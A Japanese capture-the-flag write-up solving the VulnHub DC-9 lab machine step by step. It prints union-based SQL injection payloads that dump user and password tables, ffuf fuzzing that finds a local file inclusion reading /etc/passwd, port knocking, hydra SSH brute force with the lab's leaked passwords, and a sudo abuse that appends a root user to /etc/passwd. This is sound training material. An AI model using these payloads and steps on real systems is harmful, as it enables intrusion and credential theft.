VulnHub DC-9 Writeup

# 0, DC-9について
https://www.vulnhub.com/entry/dc-9,412/

https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0

VulnHubからダウンロードできる、脆弱性のあるボックスです。
# 1, nmapでスキャンする
/etc/hostsにDC-9のIPをdc9.localで解決できるよう記述した後、nmapでDC-9をスキャンします。
```
# nmap -Pn -T4 -A -oN report_nmap_dc9 dc9.local
# cat report_nmap_dc9
# Nmap 7.92 scan initiated Fri Jun 24 22:23:33 2022 as: nmap -Pn -T4 -A -oN report_nmap_dc9 dc9.local
Nmap scan report for dc9.local (192.168.100.52)
Host is up (0.00087s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:C2:17:8F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
```
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
という情報が得られました。
  
searchsploitでApache 2.4に脆弱性がないか調査します。
```
# searchsploit Apache 2.4
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution                    | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner                  | php/remote/29316.py
Apache 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting                  | unix/remote/30835.sh
Apache 2.4.17 - Denial of Service                                                  | windows/dos/39037.php
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalat | linux/local/46676.php
Apache 2.4.23 mod_http2 - Denial of Service                                        | linux/dos/40909.py
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory Code Execution    | php/remote/40142.php
Apache 2.4.7 mod_status - Scoreboard Handling Race Condition                       | linux/dos/34133.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak                                   | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service                                | multiple/dos/26710.txt
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)           | multiple/webapps/50383.sh
Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)           | multiple/webapps/50406.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2)                        | multiple/webapps/50446.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)                        | multiple/webapps/50512.py

```

# 2, Webページの調査
searchsploitの結果、Metasploitなどで侵入することは難しそうです。
なので、地道にWebサイトを調査します。
入力フィールドがあるのは、SearchとManageです。
![01_04_dc9-search.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/ee227ef6-7fb8-8e33-c285-13602b5174e0.png)
![01_05_dc9-manage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/93795e49-2acb-bd99-9129-3b95f74e9279.png)


まずはManageでSQLインジェクションができないか試してみます。
![01_05_02_SQLi_miss.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/ad20350d-54a5-bd43-d754-0fa9a27b526f.png)
だめでした。

次にSearchで、SQLインジェクションの検証をします。
![01_06_SQLi_Success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/85c05a62-d1e7-b1f3-c1fa-fc439a8a4948.png)
成功です。SQLの脆弱性を利用し、情報を取得していきます。
![01_06_Success2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/6e8248bd-2356-0d2f-3e2a-9bca72065e33.png)

# 3, カラム数の特定
表示されている画像から、Searchで生成されるクエリは、
```
select id, name, position, phone, email from table where name="{input}"
```
のようになっていることが予想できます。なので、テーブルのカラム数は5以上です。

カラム数が10を超えているか？その調査のためには、以下のクエリを投げれば良いです。
```
' or 1=1 order by 10 #
```
10列目の値で並べさせるクエリを送ります。結果、以下の結果が出力されました。
![error_10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/0d959e7c-53d5-66c2-eac7-d088f5eb58a6.png)
よって、列数は5~9であると分かります。

order byの数値を変えて調査を進めると、カラム数は6であると分かります。
```
' or 1=1  order by 6 # → 成功
' or 1=1  order by 7 # → 失敗
```

# 4, Union Based SQL Injection
次に、Union Based SQL Injectionという手法を使い調査を進めます。
Union Based SQL Injectionとは、unionを使い行を挿入することで内部情報を抜き取る手法です。
まずは、簡単なクエリを投げてみます。
```
' or 1=1  union select 1,2,3,4,5,6; #
```
![02_01_union_SQLi_start.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/1e577722-7d97-8c65-4d39-e84b8f7bccb2.png)
新しく1つの行が追加されました。

ここで、4,5,6を数値ではなく関数に置き換えます。
```
' or 1=1  union select 1,2,3,user(),database(),version() ;#
```
![SQLunion.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/a0e48715-b75c-0db6-07be-56820748e55a.png)
クエリを発行したユーザー、使用中のDatabase、DBのバージョンを出力できました。

これを更に進め、スキーマの一覧を出力させます。
```
' or 1=1  union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata; #
```
![02_02_SQLi_schema.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/18322dea-2851-28ee-7f8c-9a6b1bf5d458.png)

Staffに含まれるテーブル一覧を取得します。
```
' or 1=1  union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='Staff'; #
```
![02_03_SQLi_tables.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/8466058e-9638-39c4-313e-56ed81b7260e.png)

StaffスキーマのUsersテーブルのカラムを取得します。
```
' or 1=1  union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='Users'; #
```
![02_04_SQLi_columns.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/9dba98a5-df8c-35de-5ee6-6923dced76a9.png)

UserID, Username, Passwordを取得します。
```
' or 1=1  union select 1,2,group_concat(UserID),group_concat(Username),group_concat(Password),6 from Users; #
```
![02_05_SQLi_Username_Password.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/cbc85ad2-577d-4ea7-5eeb-02de11f93b84.png)
UserID : 1, 
Username : admin, 
Password : 856f5de590ef37314e7c3bdf6f8a66dc
が得られました。
  
同様に、usersデータベースを調査します。
```
' or 1=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='users'; #
→ UserDetails
' or 1=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='UserDetails'; #
→ id,firstname,lastname,username,password,reg_date
' or 1=1 union select 1,2,3,group_concat(username),group_concat(password),6 from users.UserDetails; #
```
![sql2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/a3639365-b59d-53e8-d951-6095fa832100.png)
得られたusernameとpasswordを保存しておきます。
![user_pass.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/cbe42c89-2557-b286-49ec-787f2cfe73be.png)



# 5, ログイン、LFIの利用
パスワードハッシュを解析し、admin / transorbital1 で Manageにログインします。
ログインすると、フッターのエラーメッセージ "File does not exist" が目に付きます。
![LFI01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/88591009-d7e8-8f40-4f54-ae778b02954a.png)
ttp://dc9.local/welcome.php?xxxx=xxxxのようにパラメータを指定して、/etc/passwdなどを表示させることができそうです。
  
パラメータ名を取得するため、ffufというツールを使います。
https://github.com/ffuf/ffuf
Burp SuiteなどでセッションIDを入手し、以下のコマンドを実行します。
burp-parameter-names.txt は↓からダウンロードします。
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt
```
# ffuf -w burp-parameter-names.txt -u http://dc9.local/welcome.php?FUZZ=test_value -b "PHPSESSID=811tqnan26gfrdvq17hqpqfmpr" -fs 4242
...
________________________________________________

 :: Method           : GET
 :: URL              : http://dc9.local/welcome.php?FUZZ=test_value
 :: Wordlist         : FUZZ: burp-parameter-names.txt
 :: Header           : Cookie: PHPSESSID=811tqnan26gfrdvq17hqpqfmpr
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 4242
________________________________________________

12                      [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 16ms]
11                      [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 21ms]
1                       [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 21ms]
APICpictureType         [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]
AVSCV2                  [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]
AMOUNT                  [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]

```
-fsの値を963に変えても、パラメータ名を検出できません。
ここで、LFI脆弱性がある前提で、引数に渡す値をファイルパスとしてffufを実行します。
```
# ffuf -w burp-parameter-names.txt -u http://dc9.local/welcome.php?FUZZ=../../../../../../etc/passwd -b "PHPSESSID=811tqnan26gfrdvq17hqpqfmpr" -fs 963
...
file                    [Status: 200, Size: 3316, Words: 71, Lines: 86, Duration: 17ms]
:: Progress: [6453/6453] :: Job [1/1] :: 1243 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
```
脆弱性のあるパラメータ名はfileです。
ttp://dc9.local/welcome.php?file=../../../../../../etc/passwd にアクセスします。
![LFI02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/5a36fd1e-4b6d-8808-7f42-a55b69a2a65e.png)
SQLインジェクションで得たusernameが、全てsshログイン可能となっています。
  
# 6, ユーザー権限取得
最初にnmapを実行したとき、
22/tcp filtered ssh
でした。
  
ポートノッキングで開けないか、/etc/knockd.conf を調べます。
![knock01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/4c6be95d-ecf1-035b-6845-512d66f843c0.png)
7469, 8475, 9842 の順番でknockすれば22番ポートを開けます。
```
# knock dc9.local 7469 8475 9842
# nmap -p22 dc9.local 
...
PORT   STATE SERVICE
22/tcp open  ssh
```
  
22番ポートに、hydraでブルートフォース攻撃を行います。
```
# hydra -L username.txt -P password.txt dc9.local ssh 
...
[22][ssh] host: dc9.local   login: chandlerb   password: UrAG0D!
[22][ssh] host: dc9.local   login: joeyt   password: Passw0rd
[STATUS] 238.00 tries/min, 238 tries in 00:01h, 57 to do in 00:01h, 10 active
[22][ssh] host: dc9.local   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found
```
username : janitor / password : Ilovepeepee でログインします。
```
janitor@dc-9:~$ whoami
janitor
janitor@dc-9:~$ pwd
/home/janitor
janitor@dc-9:~$ ls -al
total 16
drwx------  4 janitor janitor 4096 Jun 25 14:31 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Jun 25 14:31 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin
```
ログインできました。

# 7, 権限昇格
ログイン後、.secrets-for-putin/passwords-found-on-post-it-notes.txt を表示します。
```
janitor@dc-9:~$ ls -al
total 16
drwx------  4 janitor janitor 4096 Jun 25 14:31 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Jun 25 14:31 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin
janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
```

新たに見つけたパスワードリストを用いて、再度hydraでブルートフォース攻撃を行います。
```
# hydra -L username.txt -P password.txt dc9.local ssh
...
[22][ssh] host: dc9.local   login: fredf   password: B4-Tru3-001
[22][ssh] host: dc9.local   login: chandlerb   password: UrAG0D!
[22][ssh] host: dc9.local   login: joeyt   password: Passw0rd
[STATUS] 324.00 tries/min, 324 tries in 00:01h, 68 to do in 00:01h, 15 active
[22][ssh] host: dc9.local   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 4 valid passwords found
```
  
hydraで新たに発見できたfredfにログインします。
他のアカウントでは、root権限で実行できるファイルはありませんが、
fredfは /opt/devstuff/dist/test/test をroot権限で実行できるようです。
![sudo-l.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2682657/bcd31799-695d-960e-1be3-00bd63a8c5b6.png)

/opt/devstuff/dist/test/test を調査します。
```
fredf@dc-9:~$ file /opt/devstuff/dist/test/test
/opt/devstuff/dist/test/test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=28ba79c778f7402713aec6af319ee0fbaf3a8014, stripped
fredf@dc-9:~$ ls -al /opt/devstuff/dist/test/test
-rwxr-xr-x 1 root root 1212968 Dec 29  2019 /opt/devstuff/dist/test/test
```
testはroot権限が与えられた実行ファイルです。
  
実行ファイル周辺のファイルも調べます。すると、/opt/devstuff に test.py がありました。
```
fredf@dc-9:/opt/devstuff$ pwd
/opt/devstuff
fredf@dc-9:/opt/devstuff$ ls -al
total 28
drwxr-xr-x 5 root root 4096 Dec 29  2019 .
drwxr-xr-x 4 root root 4096 Dec 29  2019 ..
drwxr-xr-x 3 root root 4096 Dec 29  2019 build
drwxr-xr-x 3 root root 4096 Dec 29  2019 dist
drwxr-xr-x 2 root root 4096 Dec 29  2019 __pycache__
-rw-r--r-- 1 root root  250 Dec 29  2019 test.py
-rw-r--r-- 1 root root  959 Dec 29  2019 test.spec
```

test.py を表示します。
```
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()
```
  
第1引数のファイルを開き、内容を読みます。
その後第2引数に指定されたファイルに、読み込んだ内容を追記します。
/opt/devstuff/ 以下の実行ファイル、/opt/devstuff/dist/test/test はこのコードをコンパイルしたものと予想できます。
testを利用し、/etc/passwd にroot権限を持つ新たなユーザーを追加します。
```
fredf@dc-9:/opt/devstuff/dist/test$ pwd
/opt/devstuff/dist/test
fredf@dc-9:/opt/devstuff/dist/test$ openssl passwd -1
Password: (12345)
Verifying - Password: (12345)
$1$A4oy3Guw$MN1eMplrkMHQToSZWnqVu/
fredf@dc-9:/opt/devstuff/dist/test$ cat ~/exploit_passwd 
pwned:$1$A4oy3Guw$MN1eMplrkMHQToSZWnqVu/:0:0:root:/root:/bin/bash
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test ~/exploit_passwd /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ su pwned
Password: (12345)
root@dc-9:/opt/devstuff/dist/test# cd /root
root@dc-9:~# ls -al
total 32
drwx------  5 root root 4096 Dec 29  2019 .
drwxr-xr-x 18 root root 4096 Dec 29  2019 ..
lrwxrwxrwx  1 root root    9 Dec 29  2019 .bash_history -> /dev/null
-rwx------  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 Dec 29  2019 .cache
drwx------  3 root root 4096 Dec 29  2019 .gnupg
drwx------  3 root root 4096 Dec 29  2019 .local
-rwx------  1 root root  148 Aug 18  2015 .profile
-rwx------  1 root root 1821 Dec 29  2019 theflag.txt
```

theflag.txtを表示しましょう。

# 8, 参考資料

参考にさせていただいたwriteup
https://arz101.medium.com/vulnhub-dc-9-1db15e8b878e
https://grumpygeekwrites.wordpress.com/2021/06/06/dc-9-vulnhub-walk-through-tutorial-writeup/
https://www.hackingarticles.in/dc-9-vulnhub-walkthrough/

SQLiの学習に使った講座
https://www.udemy.com/course/sql-injections-unlocked-sqli-web-attacks/

権限昇格の学習に使った講座
https://www.udemy.com/course/the-complete-linux-privilege-escalation-course/